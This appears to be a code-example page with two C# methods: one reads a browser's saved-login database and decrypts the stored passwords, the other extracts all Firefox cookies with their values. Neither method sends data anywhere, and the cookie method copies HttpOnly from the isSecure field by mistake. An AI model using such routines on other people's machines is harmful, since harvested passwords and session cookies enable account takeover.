Beispiel #1
0
        public static List <RecoveredAccount> Passwords(string datapath, string browser)
        {
            List <RecoveredAccount> data        = new List <RecoveredAccount>();
            SQLiteController        SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }

            try
            {
                SQLDatabase = new SQLiteController(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("logins"))
            {
                return(data);
            }

            string host;
            string user;
            string pass;
            int    totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "origin_url");
                    user = SQLDatabase.GetValue(i, "username_value");
                    pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
                    {
                        data.Add(new RecoveredAccount
                        {
                            URL         = host,
                            username    = user,
                            password    = pass,
                            application = browser
                        });
                    }
                }
                catch (Exception)
                {
                    // TODO: Exception handling
                }
            }

            return(data);
        }
Beispiel #2
0
        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List <FirefoxCookie> GetSavedCookies()
        {
            List <FirefoxCookie> data = new List <FirefoxCookie>();
            SQLiteController     sql  = new SQLiteController(firefoxCookieFile.FullName);

            if (!sql.ReadTable("moz_cookies"))
            {
                throw new Exception("Could not read cookie table");
            }

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val  = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http   = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long     expiryTime  = long.Parse(sql.GetValue(i, "expiry"));
                    long     currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp         = FromUnixTime(expiryTime);
                    bool     expired     = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host       = h,
                        ExpiresUTC = exp,
                        Expired    = expired,
                        Name       = name,
                        Value      = val,
                        Path       = path,
                        Secure     = secure,
                        HttpOnly   = http
                    });
                }
                catch (Exception)
                {
                    return(data);
                }
            }
            return(data);
        }